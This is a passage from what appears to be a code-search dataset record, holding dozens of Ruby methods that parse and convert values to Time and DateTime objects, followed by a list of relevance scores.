"def for value\n if value.is_a? Numeric\n Time.at value\n elsif value.respond_to? :to_s\n Time.parse value.to_s\n else\n value.to_time\n end\n rescue Exception\n raise ArgumentError, \"unable to convert #{value.inspect} to a Time object\"\n end",
"def test_initialize_datetime_with_time()\n time = Time.new(2017, 11, 7, 17, 30, 10)\n datetime = @ad_manager.datetime(time, 'America/New_York')\n assert_equal(2017, datetime.year)\n assert_equal(11, datetime.month)\n assert_equal(7, datetime.day)\n assert_equal(17, datetime.hour)\n assert_equal(30, datetime.min)\n assert_equal(10, datetime.sec)\n assert_equal('America/New_York', datetime.timezone.identifier)\n assert_equal(-18000, datetime.utc_offset)\n end",
"def time_for(value)\n if value.respond_to? :to_time\n value.to_time\n elsif value.is_a? Time\n value\n elsif value.respond_to? :new_offset\n # DateTime#to_time does the same on 1.9\n d = value.new_offset 0\n t = Time.utc d.year, d.mon, d.mday, d.hour, d.min, d.sec + d.sec_fraction\n t.getlocal\n elsif value.respond_to? :mday\n # Date#to_time does the same on 1.9\n Time.local(value.year, value.mon, value.mday)\n elsif value.is_a? Numeric\n Time.at value\n else\n Time.parse value.to_s\n end\n rescue ArgumentError => boom\n raise boom\n rescue Exception\n raise ArgumentError, \"unable to convert #{value.inspect} to a Time object\"\n end",
"def time_for(value)\n if value.respond_to? :to_time\n value.to_time\n elsif value.is_a? Time\n value\n elsif value.respond_to? :new_offset\n # DateTime#to_time does the same on 1.9\n d = value.new_offset 0\n t = Time.utc d.year, d.mon, d.mday, d.hour, d.min, d.sec + d.sec_fraction\n t.getlocal\n elsif value.respond_to? :mday\n # Date#to_time does the same on 1.9\n Time.local(value.year, value.mon, value.mday)\n elsif value.is_a? Numeric\n Time.at value\n else\n Time.parse value.to_s\n end\n rescue ArgumentError => boom\n raise boom\n rescue Exception\n raise ArgumentError, \"unable to convert #{value.inspect} to a Time object\"\n end",
"def get_datetime_from_iso8601(iso8601_time)\n ISO8601::DateTime.new(iso8601_time).to_time.utc\n rescue\n nil\n end",
"def get_datetime_from_iso8601(iso8601_time)\n ISO8601::DateTime.new(iso8601_time).to_time.utc\n rescue\n nil\n end",
"def get_datetime_from_iso8601(iso8601_time)\n ISO8601::DateTime.new(iso8601_time).to_time.utc\n rescue\n nil\n end",
"def get_datetime_from_iso8601(iso8601_time)\n ISO8601::DateTime.new(iso8601_time).to_time.utc\n rescue\n nil\n end",
"def parse_filtered_time(time = nil)\n case time\n when String then Time.zone.parse(time)\n when nil then Time.zone.now\n when Time, ActiveSupport::TimeWithZone then time.in_time_zone\n else raise \"Invalid time: #{time.inspect}\"\n end\n end",
"def convert_time(time_string)\n parts = time_string.to_s.split('/')\n return parts.length == 3 ? Time.new(parts[2].to_i, parts[0].to_i, parts[1].to_i) : nil\n end",
"def convert_to_time(value)\n time = Mongoid::Config.use_activesupport_time_zone? ? ::Time.zone : ::Time\n case value\n when ::String\n time.parse(value)\n when ::DateTime\n return value if value.utc? && Mongoid.use_utc?\n time.local(value.year, value.month, value.day, value.hour, value.min, value.sec)\n when ::Date\n time.local(value.year, value.month, value.day)\n when ::Array\n time.local(*value)\n else\n value\n end\n end",
"def typecast_to_time(value)\n case value\n when Float # JSON oj already parses Time, FTW.\n Time.at(value).utc\n when Hash\n typecast_hash_to_time(value)\n else\n typecast_iso8601_string_to_time(value.to_s)\n end\n rescue ArgumentError\n nil\n rescue TypeError\n nil\n end",
"def get_datetime date, time\n time = DateTime.strptime time, '%H:%M' rescue return date\n (date + time.hour.hours + time.minute.minutes).to_datetime\n end",
"def convert_to_time(value)\n time = Mongoid::Config.use_activesupport_time_zone? ? ::Time.zone : ::Time\n case value\n when ::String\n time.parse(value)\n when ::DateTime\n time.local(value.year, value.month, value.day, value.hour, value.min, value.sec)\n when ::Date\n time.local(value.year, value.month, value.day)\n when ::Array\n time.local(*value)\n else\n value\n end\n end",
"def is_time(time)\n return Integer(time) rescue\n return Date.iso8601(time) rescue\n false\nend",
"def set_time(time)\n @time = time.getutc\n return self\n end",
"def time_only(person_or_type = nil)\n time_detail(:time_only => true, :audience => person_or_type)\n end",
"def type_literal_generic_only_time(column)\n :time\n end",
"def to_time\r\n #MES- From activerecord-1.13.2\\lib\\active_record\\connection_adapters\\abstract\\schema_definitions.rb\r\n # Function was called string_to_time\r\n time_array = ParseDate.parsedate(self)[0..5]\r\n # treat 0000-00-00 00:00:00 as nil\r\n #MES- Next line WAS the following, but we don't have access to Base here\r\n #Time.send(Base.default_timezone, *time_array) rescue nil\r\n Time.utc(*time_array) rescue nil\r\n end",
"def update_time(time, uuid)\n if time.key?('duration')\n unless time['duration'].is_a? Integer\n duration = duration_to_seconds(time['duration'])\n time['duration'] = duration\n\n # Duration at this point contains an error_msg if not an int\n return duration unless time['duration'].is_a? Integer\n end\n\n if time['duration'] < 0\n return Hash[@error => 'time object: duration cannot be negative']\n end\n\n end\n create_or_update(time, uuid, 'time', 'times', false)\n end",
"def parse_time(time)\n if time.is_a? Time\n return Time.parse time.httpdate\n elsif time.is_a String\n return Time.parse(Time.parse(time).httpdate)\n else\n raise \"Argument Error, #{time} is not a valid time\"\n end\n end",
"def time_parser\n ::Time.zone || ::DateTime\n end",
"def parse_time(time)\n case time\n when Time\n time\n when Integer, Float\n Time.at(time)\n else\n Time.parse(time.to_s)\n end\n end",
"def time(name, params = { }, &block)\n params = params.dup\n timezone_method = params.delete(:timezone) || :utc\n if timezone_method == :local\n timezone_method = :mktime\n end\n datatype name, params, block, { :kind => Time } do\n from String do |s|\n Time.parse(s)\n end\n from Array do |args|\n Time.send(timezone_method, *args)\n end\n # seconds since Thu Jan 01 00:00:00 UTC 1970\n from Integer do |epoch_seconds|\n Time.at(epoch_seconds)\n end\n end\n end",
"def contact_time(time)\n return '' if !time.is_a?(Time) and !(Float Integer).include?(time_offset.class)\n time - time_offset\n rescue\n time\n end",
"def r_time cell, horaire\n if cell.empty?\n return nil\n end\n DateTime.new(cell.split(\"/\").third.to_i, cell.split(\"/\").second.to_i, cell.split(\"/\").first.to_i, horaire.split(\":\").first.to_i, horaire.split(\":\").second.to_i)\n end",
"def iso_format_time(time)\n return time unless time.is_a? Time or time.is_a? Date\n time = time.getutc if time.is_a? Time\n time = time.new_offset(0) if time.is_a? DateTime\n time.strftime('%Y-%m-%dT%H:%M:%SZ')\n end",
"def convert_time time\n proto = Google::Protobuf::Timestamp.new\n proto.from_time(time)\n proto\n end",
"def convert_time time\n proto = Google::Protobuf::Timestamp.new\n proto.from_time(time)\n proto\n end",
"def initialize time: nil\n @time = time || ::Time.now.utc\n end",
"def extract_time_from_args(args)\n time = args.first\n case time\n when TZTime::LocalTime then args.first\n when Time then args.first\n when DateTime then Time.utc(time.year, time.month, time.day, time.hour, time.min, time.sec, 0)\n when Date then Time.utc(time.year, time.month, time.day, 0, 0, 0, 0)\n else Time.at(*args)\n end\n end",
"def parseTime(time)\n if(time.nil?)\n return nil ;\n elsif(time.is_a?(String))\n return Time.parse(time, DefaultDate) ;\n elsif(time.is_a?(Time))\n return time ;\n else\n raise \"can not convert to Time Object from :\" + time.inspect ;\n end\n end",
"def type\n 'Edm.Time'\n end",
"def at(time, padding=false)\n unless time.class == Time\n time = Time.at(time.to_i)\n end\n generate_otp(timecode(time), padding)\n end",
"def parse_time(attribute, time_string)\n time_string.blank? ? nil : DateTime.parse(time_string).in_time_zone\n rescue ArgumentError\n errors.add(attribute, :invalid_time)\n nil\n end",
"def time_now_or_param(params_time_now)\n if params_time_now.present?\n Time.at(params_time_now.to_i)\n else\n Time.now\n end\n end",
"def time_now_or_param(params_time_now)\n if params_time_now.present?\n Time.at(params_time_now.to_i)\n else\n Time.now\n end\n end",
"def time_now_or_param(params_time_now)\n if params_time_now.present?\n Time.at(params_time_now.to_i)\n else\n Time.now\n end\n end",
"def ti(time)\n h, m = case time\n when String\n time.split(':').map(&:to_i)[0, 2]\n when Time\n [time.hour, time.min]\n when Date\n [time.hour, time.min]\n when DateTime\n [time.hour, time.min]\n else\n raise \"unsupported object of type #{time.class}: #{time.inspect}\"\n end\n\n # maybe remove later, sanity check\n raise \"time with granularity != 5 min: #{time}\" if m % interval_minutes != 0\n\n (h * 60 + m) / interval_minutes\n end",
"def bson_type\n ::Time::BSON_TYPE\n end",
"def time_element(time, css_class = 'js-time')\n time = time.in_time_zone\n time_tag time, time.to_s(:long), title: time, class: css_class\n end",
"def to_timestamp(time = '00:00')\n DateTime.parse([self, time].join(' ')).to_time.to_i\n end",
"def nytimes_time(time, opts={})\n raise ArgumentError.new \"Time or DateTime required\" unless time.is_a?(DateTime) || time.is_a?(Time)\n str = \"\"\n str << time.strftime(\"%l:%M\").strip\n str << time.strftime(\" %p\").sub('PM','p.m.').sub('AM','a.m.') unless opts[:hide_abbreviation]\n str\n end",
"def to_time(t)\n if t.is_a?(::Time) then t\n else from_string(to_string(t)) end\n end",
"def time_value?(input)\n return input.is_a?(Time) || input.is_a?(Date)\n end",
"def convert_to_time(obj)\n case\n when obj.respond_to?(:seconds)\n obj.seconds >= MINIMUM_SECONDS && obj.seconds <= MAXIMUM_SECONDS ? make_time( obj.seconds ) : nil\n when obj.instance_of?(Time)\n make_time( obj.hour.hours + obj.min.minutes + obj.sec.seconds )\n else\n nil\n end\n end",
"def at_with_coercion(*args, **kwargs)\n return at_without_coercion(*args, **kwargs) if args.size != 1 || !kwargs.empty?\n\n # Time.at can be called with a time or numerical value\n time_or_number = args.first\n\n if time_or_number.is_a?(ActiveSupport::TimeWithZone)\n at_without_coercion(time_or_number.to_r).getlocal\n elsif time_or_number.is_a?(DateTime)\n at_without_coercion(time_or_number.to_f).getlocal\n else\n at_without_coercion(time_or_number)\n end\n end",
"def as_of_time\n Conversions.string_to_utc_time attributes_before_type_cast['as_of_time']\n end",
"def time\n return Time.new(@t_year, @t_month, @t_day, @t_hour, @t_min, @t_sec)\n end",
"def create_time_in_tz(datetime, tz = nil)\n if tz && (Time.zone.nil? || tz != Time.zone.name) # If tz passed in and not default tz\n saved_tz = Time.zone\n Time.zone = tz # Temporarily convert to new tz and create the time object\n t = Time.zone.parse(datetime) # Create the time object\n Time.zone = saved_tz # Restore original default\n else # tz not passed in or matches current tz\n t = Time.zone.parse(datetime) # Create the time object\n end\n t\n end",
"def merge_date_time date, time\n DateTime.new(date.year, date.month, date.day, time.hour, time.min, time.sec)\n end",
"def set_time(hour, minute)\n hour = 0 if hour.negative?\n hour = 23 if hour > 23\n minute = 0 if minute.negative?\n minute = 59 if minute > 59\n time = Time.new(0, nil, nil, hour, minute, nil, nil)\n @hour = time.hour\n @minutes = time.min\n end",
"def update_from_time(time)\n @t_year = time.year\n @t_month = time.month\n @t_day = time.day\n @t_hour = time.hour\n @t_min = time.min\n @t_sec = time.sec\n @t_usec = time.usec\n \n nil\n end",
"def append_time(value)\n time = case value\n when Time\n value\n else\n begin\n Time.parse(value)\n rescue\n raise(ArgumentError, \"Cannot parse argument `#{value}` to Time.\")\n end\n end\n\n _append_time(time.hour, time.min, time.sec, time.usec)\n end",
"def find_or_create_personal_time_for(course_user)\n personal_time = personal_time_for(course_user)\n return personal_time if personal_time.present?\n\n personal_time = personal_times.new(course_user: course_user)\n reference_time = reference_time_for(course_user)\n personal_time.start_at = reference_time.start_at\n personal_time.end_at = reference_time.end_at\n personal_time.bonus_end_at = reference_time.bonus_end_at\n personal_time\n end",
"def iso_time\n @iso_time ||= Time.now.utc.iso8601\n end",
"def initialize(time_of_day)\n match = /^([0-2]?\\d):([0-5]\\d)$/.match(time_of_day)\n raise InvalidTimeOfDayFormat if match.nil?\n @hour = match[1].to_i\n @minute = match[2].to_i\n raise InvalidTimeOfDayFormat if (@hour > HOURS_ONE_DAY) || (@hour == HOURS_ONE_DAY && @minute > 0)\n end",
"def apply_validations_for_time\n flex_column_class.validates_each field_name do |record, attr, value|\n record.errors.add(attr, \"must be a Time\") if value && (! value.kind_of?(Time))\n end\n end",
"def time\n Types::Time.deserialize(@time)\n end",
"def time_default?(a_time)\n default = Time.now.change({ hour: 23, min: 59})\n hour(default) == hour(a_time)\n end",
"def time_default?(a_time)\n default = Time.now.change({ hour: 23, min: 59})\n hour(default) == hour(a_time)\n end",
"def create_time_parser\n if @time_key_format\n begin\n # Strptime doesn't support all formats, but for those it does it's\n # blazingly fast.\n strptime = Strptime.new(@time_key_format)\n Proc.new { |value|\n value = convert_numeric_time_into_string(value, @time_key_format) if value.is_a?(Numeric)\n strptime.exec(value).to_datetime\n }\n rescue\n # Can happen if Strptime doesn't recognize the format; or\n # if strptime couldn't be required (because it's not installed -- it's\n # ruby 2 only)\n Proc.new { |value|\n value = convert_numeric_time_into_string(value, @time_key_format) if value.is_a?(Numeric)\n DateTime.strptime(value, @time_key_format)\n }\n end\n else\n Proc.new { |value|\n value = convert_numeric_time_into_string(value) if value.is_a?(Numeric)\n DateTime.parse(value)\n }\n end\n end",
"def to_time\n # Thread-safety: It is possible that the value of @time may be\n # calculated multiple times in concurrently executing threads. It is not\n # worth the overhead of locking to ensure that @time is only\n # calculated once.\n\n unless @time\n if @timestamp\n @time = Time.at(@timestamp).utc\n elsif @timestamp_with_offset\n @time = time_with_offset(Time.at(@timestamp_with_offset.timestamp), @timestamp_with_offset.utc_offset)\n else\n # Avoid using Rational unless necessary.\n u = usec\n s = u == 0 ? sec : Rational(sec * 1000000 + u, 1000000)\n @time = Time.new(year, mon, mday, hour, min, s, offset)\n end\n end\n\n @time\n end",
"def match_time(freetime)\n if (freetime.start.between?(self.start, self.end)) && (freetime.end.between?(self.start, self.end))\n return Freetime.new(start: freetime.start, end: freetime.end)\n elsif freetime.end.between?(self.start, self.end)\n return Freetime.new(start: self.start, end: freetime.end)\n elsif freetime.start.between?(self.start, self.end)\n return Freetime.new(start: freetime.start, end: self.end)\n elsif self.start.between?(freetime.start, freetime.end) && (self.end.between?(freetime.start, freetime.end))\n return Freetime.new(start: self.start, end: self.end)\n elsif self.end.between?(freetime.start, freetime.end)\n return Freetime.new(start: freetime.start, end: self.end)\n elsif self.start.between?(freetime.start, freetime.end)\n return Freetime.new(start: self.start, end: freetime.end)\n else\n return nil\n end\n end",
"def time_wrap(obj)\n obj.kind_of?(String) ? Time.parse(obj) : obj\n end",
"def true_time( time_object )\n hours_to_sec = time_object.utc.hour * 60 * 60\n minutes_to_sec = time_object.utc.min * 60\n sec_to_sec = time_object.utc.sec\n hours_to_sec + minutes_to_sec + sec_to_sec\n end",
"def time(options = {})\n if @time.is_a?(Time)\n @time.strftime(\"%l#{@time.min > 0 ? \":%M\" : ''}%P\").strip\n else\n nil\n end\n end",
"def +(seconds)\n if seconds == 0\n self\n else\n if @orig.is_a?(DateTime)\n TimeOrDateTime.new(@orig + OffsetRationals.rational_for_offset(seconds))\n else\n # + defined for Time and Integer\n TimeOrDateTime.new(@orig + seconds)\n end\n end\n end",
"def +(seconds)\n if seconds == 0\n self\n else\n if @orig.is_a?(DateTime)\n TimeOrDateTime.new(@orig + OffsetRationals.rational_for_offset(seconds))\n else\n # + defined for Time and Integer\n TimeOrDateTime.new(@orig + seconds)\n end\n end\n end",
"def validate_and_parsetime(value)\n return unless value\n Time.iso8601(value).getutc.to_i\n rescue ArgumentError => e\n logger.error \"Couldn't parse time from '#{value}'\"\n nil\n end",
"def select_time(datetime = Time.now, options = {})\r\n if !options[:order]\r\n options[:order] = DEFAULT_TIME_ORDER\r\n options[:order] << ':' << :second if options[:include_seconds]\r\n else\r\n options[:order] = options[:order] - [:year, :month, :day]\r\n end\r\n select_datetime(datetime, options)\r\n end",
"def typecast_time(datetime) #:nodoc:\n datetime.sub!(%r|^(\\w{2})/(\\w{3})/(\\w{4})|, '\\2 \\1 \\3')\n datetime.sub!(':', ' ')\n Time.parse(datetime)\n end",
"def create_time_entry(xero_tenant_id, project_id, time_entry_create_or_update, opts = {})\n data, _status_code, _headers = create_time_entry_with_http_info(xero_tenant_id, project_id, time_entry_create_or_update, opts)\n data\n end",
"def to_datetime string_or_datetime\n if string_or_datetime.is_a?(String)\n Sequel.string_to_datetime(string_or_datetime)\n else\n string_or_datetime\n end\n end",
"def create_time=(time)\n @create_time = time\n update_times\n end",
"def ocitimestamp_to_time(ary)\n return nil if ary.nil?\n\n year, month, day, hour, minute, sec, fsec, tz_hour, tz_min = ary\n\n if year >= 139 || year < 0\n begin\n if tz_hour == 0 and tz_min == 0\n return ::Time.utc(year, month, day, hour, minute, sec, fsec / Rational(1000))\n else\n tm = ::Time.local(year, month, day, hour, minute, sec, fsec / Rational(1000))\n return tm if tm.utc_offset == tz_hour * 3600 + tz_min * 60\n end\n rescue StandardError\n end\n end\n ocitimestamp_to_datetime(ary)\n end",
"def validate_and_parsetime(value)\n return unless value\n Time.iso8601(value).getutc.to_i\n rescue ArgumentError => e\n logger.error \"Couldn't parse time from '#{value}'\"\n nil\n end"
] |
[
"0.7050232",
"0.69038963",
"0.684509",
"0.6769529",
"0.6700714",
"0.59060115",
"0.564362",
"0.5490283",
"0.5484259",
"0.5472272",
"0.5449295",
"0.539685",
"0.5388648",
"0.5370767",
"0.5310206",
"0.53053874",
"0.5214997",
"0.5154613",
"0.5130931",
"0.5126723",
"0.508977",
"0.5089178",
"0.50778764",
"0.5067151",
"0.5050921",
"0.5047051",
"0.50451434",
"0.50181407",
"0.50181407",
"0.50181407",
"0.50181407",
"0.5014261",
"0.50017923",
"0.49931267",
"0.49830762",
"0.4980493",
"0.4977384",
"0.4970834",
"0.49667817",
"0.49561167",
"0.49467573",
"0.49387616",
"0.49310476",
"0.48882744",
"0.48861802",
"0.4855855",
"0.48519453",
"0.48451602",
"0.48448312",
"0.48328513",
"0.4830071",
"0.4830071",
"0.48102805",
"0.48058292",
"0.47923383",
"0.47874767",
"0.47772023",
"0.47625327",
"0.47522205",
"0.47522205",
"0.47522205",
"0.47499397",
"0.47475573",
"0.47462624",
"0.47446236",
"0.47284082",
"0.4712925",
"0.47045296",
"0.47028813",
"0.47002408",
"0.46924233",
"0.4686543",
"0.46853873",
"0.4684435",
"0.4678216",
"0.46625352",
"0.46534592",
"0.46446204",
"0.46318042",
"0.4631227",
"0.4622086",
"0.4603477",
"0.45981196",
"0.45981196",
"0.4596244",
"0.45894903",
"0.45758498",
"0.45743972",
"0.45738024",
"0.45627514",
"0.45549798",
"0.45549798",
"0.45546716",
"0.45521733",
"0.45475978",
"0.45464262",
"0.45245025",
"0.45227724",
"0.4521007",
"0.45100895"
] |
0.7441325
|
0
|
Returns the time as a Time. When converting from a DateTime, the result is truncated to microsecond precision.
|
def to_time
# Thread-safety: It is possible that the value of @time may be
# calculated multiple times in concurrently executing threads. It is not
# worth the overhead of locking to ensure that @time is only
# calculated once.
unless @time
result = if @timestamp
Time.at(@timestamp).utc
else
Time.utc(year, mon, mday, hour, min, sec, usec)
end
return result if frozen?
@time = result
end
@time
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def to_time\n # Thread-safety: It is possible that the value of @time may be\n # calculated multiple times in concurrently executing threads. It is not\n # worth the overhead of locking to ensure that @time is only\n # calculated once.\n\n unless @time\n if @timestamp\n @time = Time.at(@timestamp).utc\n else\n # Avoid using Rational unless necessary.\n u = usec\n s = u == 0 ? sec : Rational(sec * 1000000 + u, 1000000)\n @time = Time.new(year, mon, mday, hour, min, s, offset)\n end\n end\n\n @time\n end",
"def to_time\n # Thread-safety: It is possible that the value of @time may be\n # calculated multiple times in concurrently executing threads. It is not\n # worth the overhead of locking to ensure that @time is only\n # calculated once.\n\n unless @time\n if @timestamp\n @time = Time.at(@timestamp).utc\n elsif @timestamp_with_offset\n @time = time_with_offset(Time.at(@timestamp_with_offset.timestamp), @timestamp_with_offset.utc_offset)\n else\n # Avoid using Rational unless necessary.\n u = usec\n s = u == 0 ? sec : Rational(sec * 1000000 + u, 1000000)\n @time = Time.new(year, mon, mday, hour, min, s, offset)\n end\n end\n\n @time\n end",
"def to_time\n ::Time.at(self.getTime/1000)\n end",
"def to_time(t)\n if t.is_a?(::Time) then t\n else from_string(to_string(t)) end\n end",
"def time\n Types::Time.deserialize(@time)\n end",
"def to_time\n value\n end",
"def time(options = {})\n if @time.is_a?(Time)\n @time.strftime(\"%l#{@time.min > 0 ? \":%M\" : ''}%P\").strip\n else\n nil\n end\n end",
"def to_time\n self\n end",
"def as_of_time\n Conversions.string_to_utc_time attributes_before_type_cast['as_of_time']\n end",
"def for value\n if value.is_a? Numeric\n Time.at value\n elsif value.respond_to? :to_s\n Time.parse value.to_s\n else\n value.to_time\n end\n rescue Exception\n raise ArgumentError, \"unable to convert #{value.inspect} to a Time object\"\n end",
"def time\n return Time.new(@t_year, @t_month, @t_day, @t_hour, @t_min, @t_sec)\n end",
"def time_as_s time\n time.strftime('%H:%M:%S')\n end",
"def to_time\r\n hsh = {:year => Time.now.year, :month => Time.now.month, :day => Time.now.day,\r\n :hour => Time.now.hour, :minute => Time.now.minute, :second => Time.now.second,\r\n :usec => Time.now.usec, :ampm => \"\" }\r\n hsh = hsh.update(self.symbolize_keys)\r\n [:year, :month, :day, :hour, :minute, :second, :usec].each {|key| hsh[key] = hsh[key].to_i }\r\n hsh[:hour] = 0 if hsh[:ampm].downcase == \"am\" && hsh[:hour] == 12\r\n hsh[:hour] += 12 if hsh[:ampm].downcase == \"pm\" && hsh[:hour] != 12\r\n Time.local(hsh[:year], hsh[:month], hsh[:day], hsh[:hour], hsh[:minute], hsh[:second], hsh[:usec])\r\n end",
"def time_for(value)\n if value.respond_to? :to_time\n value.to_time\n elsif value.is_a? Time\n value\n elsif value.respond_to? :new_offset\n # DateTime#to_time does the same on 1.9\n d = value.new_offset 0\n t = Time.utc d.year, d.mon, d.mday, d.hour, d.min, d.sec + d.sec_fraction\n t.getlocal\n elsif value.respond_to? :mday\n # Date#to_time does the same on 1.9\n Time.local(value.year, value.mon, value.mday)\n elsif value.is_a? Numeric\n Time.at value\n else\n Time.parse value.to_s\n end\n rescue ArgumentError => boom\n raise boom\n rescue Exception\n raise ArgumentError, \"unable to convert #{value.inspect} to a Time object\"\n end",
"def time_for(value)\n if value.respond_to? :to_time\n value.to_time\n elsif value.is_a? Time\n value\n elsif value.respond_to? :new_offset\n # DateTime#to_time does the same on 1.9\n d = value.new_offset 0\n t = Time.utc d.year, d.mon, d.mday, d.hour, d.min, d.sec + d.sec_fraction\n t.getlocal\n elsif value.respond_to? :mday\n # Date#to_time does the same on 1.9\n Time.local(value.year, value.mon, value.mday)\n elsif value.is_a? Numeric\n Time.at value\n else\n Time.parse value.to_s\n end\n rescue ArgumentError => boom\n raise boom\n rescue Exception\n raise ArgumentError, \"unable to convert #{value.inspect} to a Time object\"\n end",
"def as_time( d = nil )\n d = (d || self)\n return '' unless [Time, DateTime].include? d.class\n format = 'time_short'\n I18n.l d, :format => I18n.t( 'time.formats.' + format )\n end",
"def to_time\n raise NotImplementedError\n end",
"def to_time\n t = ::Time.at utc_reference\n Time.new t.utc\n end",
"def time(value)\n if value.respond_to? :to_time\n value.to_time\n elsif value.is_a? Time\n value\n elsif value.respond_to? :new_offset\n d = value.new_offset 0\n t = Time.utc d.year, d.mon, d.mday, d.hour, d.min, d.sec + d.sec_fraction\n t.getlocal\n elsif value.respond_to? :mday\n Time.local(value.year, value.mon, value.mday)\n elsif value.is_a? Numeric\n Time.at value\n elsif value.nil? or value.empty?\n nil\n else\n Time.parse value.to_s\n end\n rescue ArgumentError => boom\n raise boom\n rescue Exception\n raise ArgumentError, \"unable to convert #{value.inspect} to a Time object\"\n end",
"def typecast_value_time(value)\n case value\n when Time\n if value.is_a?(SQLTime)\n value\n else\n # specifically check for nsec == 0 value to work around JRuby 1.6 ruby 1.9 mode bug\n SQLTime.create(value.hour, value.min, value.sec, (value.respond_to?(:nsec) && value.nsec != 0) ? value.nsec/1000.0 : value.usec)\n end\n when String\n Sequel.string_to_time(value)\n when Hash\n SQLTime.create(*[:hour, :minute, :second].map{|x| (value[x] || value[x.to_s]).to_i})\n else\n raise Sequel::InvalidValue, \"invalid value for Time: #{value.inspect}\"\n end\n end",
"def to_time\n\t\tself.offset == 0 ? ::Time.utc_time(year, month, day, hour, min, sec, sec_fraction * (RUBY_VERSION < '1.9' ? 86400000000 : 1000000)) : self\n\tend",
"def time\n #Parse the raw time into a binary time structure...\n time = send_request(Packets::RequestTime.new)\n\n #And convert that to a ruby time.\n time.to_time()\n end",
"def to_time\n if preserve_timezone\n @to_time_with_instance_offset ||= getlocal(utc_offset)\n else\n @to_time_with_system_offset ||= getlocal\n end\n end",
"def as_of_time\n Conversions.string_to_utc_time attributes['as_of_time']\n end",
"def normalize_time\n if time.present?\n Time::DATE_FORMATS[:ms] = \"%M:%S\"\n self.time = \"0:#{time.to_formatted_s(:ms)}\".to_time\n end\n end",
"def to_time\n Chronic.parse self.timestamp\n end",
"def time\n Time.at(data[\"time_ms\"].to_f/1000)\n end",
"def typecast_to_time(value)\n case value\n when Float # JSON oj already parses Time, FTW.\n Time.at(value).utc\n when Hash\n typecast_hash_to_time(value)\n else\n typecast_iso8601_string_to_time(value.to_s)\n end\n rescue ArgumentError\n nil\n rescue TypeError\n nil\n end",
"def time\n @time ||= incorporate_utc_offset(@utc, utc_offset)\n end",
"def time\n DateTime.now.strftime(TIME_FORMAT)\n end",
"def time_as_human\n return Knj::Strings.secs_to_human_time_str(self.time_total, :secs => false)\n end",
"def as_of_time\n @_as_of_time\n end",
"def as_of_time\n @_as_of_time\n end",
"def convert_to_time(value)\n time = Mongoid::Config.use_activesupport_time_zone? ? ::Time.zone : ::Time\n case value\n when ::String\n time.parse(value)\n when ::DateTime\n return value if value.utc? && Mongoid.use_utc?\n time.local(value.year, value.month, value.day, value.hour, value.min, value.sec)\n when ::Date\n time.local(value.year, value.month, value.day)\n when ::Array\n time.local(*value)\n else\n value\n end\n end",
"def get_time_simple()\n unless(@free_time.nil?)\n return @free_time\n else\n return @timelines[0].get_time()\n end\n end",
"def to_time\n return self.to_i.to_time if self =~ DIGIT_ONLY_REGEX\n if self =~ US_DATE_REGEX\n Time.parse(us_date_to_iso_str)\n elsif self =~ JSON_DATE_REGEX\n json_date_to_time\n else\n Time.parse(self)\n end\n end",
"def time\n @time ||= Time.at( timestamp / 1_000_000.0 )\n end",
"def time # :nodoc:\n @time ||= day_fraction_to_time day_fraction\n end",
"def to_time()\n #This is a stub, used for indexing\n end",
"def time_to_ms(time)\n (time.to_f * 1000).floor\n end",
"def time_to_ms(time)\n (time.to_f * 1000).floor\n end",
"def to_time(t=nil)\n t ||=Time.now\n Time.new(t.year,t.month,t.day,@hours,@minutes,0)\n end",
"def to_time\n begin\n Time.parse(self)\n rescue => e\n raise Sequel::Error::InvalidValue, \"Invalid time value '#{self}' (#{e.message})\"\n end\n end",
"def norm(time)\n Time.new(time.to_i)\n end",
"def castTime(hash={})\n\t\troundTime(hash)\n\tend",
"def convert_to_time(value)\n time = Mongoid::Config.use_activesupport_time_zone? ? ::Time.zone : ::Time\n case value\n when ::String\n time.parse(value)\n when ::DateTime\n time.local(value.year, value.month, value.day, value.hour, value.min, value.sec)\n when ::Date\n time.local(value.year, value.month, value.day)\n when ::Array\n time.local(*value)\n else\n value\n end\n end",
"def time\n @originalTime.gsub(/[ (AM|PM)]/, '').split(':').map(&:to_f)\n end",
"def typecast_to_time(value)\n if value.kind_of?(Hash)\n typecast_hash_to_time(value)\n else\n Time.parse(value.to_s)\n end\n end",
"def strip_milliseconds(time)\n ::Time.at(time.to_i)\n end",
"def to_local_time\n Time.local(1970, 1, 1, @hour, @minute, @second)\n end",
"def to_time\r\n #MES- From activerecord-1.13.2\\lib\\active_record\\connection_adapters\\abstract\\schema_definitions.rb\r\n # Function was called string_to_time\r\n time_array = ParseDate.parsedate(self)[0..5]\r\n # treat 0000-00-00 00:00:00 as nil\r\n #MES- Next line WAS the following, but we don't have access to Base here\r\n #Time.send(Base.default_timezone, *time_array) rescue nil\r\n Time.utc(*time_array) rescue nil\r\n end",
"def timestamp_to_time num\n Time.at(num / 1000.0 + AssumedTimezoneAdjust, num % 1000).utc\n end",
"def type\n 'Edm.Time'\n end",
"def read_time # :nodoc:\n\t rt_sec, rt_usec = rio.read(TIME_SIZE).unpack('VV')\n\t Time.at(rt_sec, rt_usec)\n\tend",
"def time()\n return self._request([\n 'time',\n '0'\n ])[0]\n end",
"def time_s\n time_to_s(time)\n end",
"def get_time\n Time.new.strftime(\"%Y-%m-%d %H:%M:%S\")\n end",
"def attribute_to_time(time)\n time = Time.local(time.year, time.month, time.day) if time.is_a?(Date)\n time = Time.parse(time) if time.is_a?(String)\n time\n end",
"def time_klass(time)\n case time\n when ActiveSupport::TimeWithZone\n Time\n else\n time.class\n end\n end",
"def strip_milliseconds(time)\n ::Time.at(time.to_i)\n end",
"def get_time\n\t\[email protected]\n\tend",
"def convert_time(t)\n case t\n when nil then nil\n when Date then t.to_time.utc.iso8601(3)\n when Time then t.utc.iso8601(3)\n when String then Time.parse(t).utc.iso8601(3)\n else raise \"Invalid time format '#{t.class}'. Valid options are Time, Date, or String\"\n end\n rescue StandardError => e\n raise \"Failed to parse time value '#{t}'. #{e.message}\"\n end",
"def time_to_minute(time)\n time.seconds_since_midnight / 60\n end",
"def to_time(form = :utc)\n return nil if self.blank?\n d = ::Date._parse(self, false).values_at(:year, :mon, :mday, :hour, :min, :sec, :sec_fraction).map { |arg| arg || 0 }\n d[6] *= 1000000\n ::Time.send(\"#{form}_time\", *d)\n end",
"def conv_to_ms(time)\n time.to_i * 1000\n end",
"def to_time\n preserve_timezone ? getlocal(utc_offset) : getlocal\n end",
"def convert_time(time_string)\n parts = time_string.to_s.split('/')\n return parts.length == 3 ? Time.new(parts[2].to_i, parts[0].to_i, parts[1].to_i) : nil\n end",
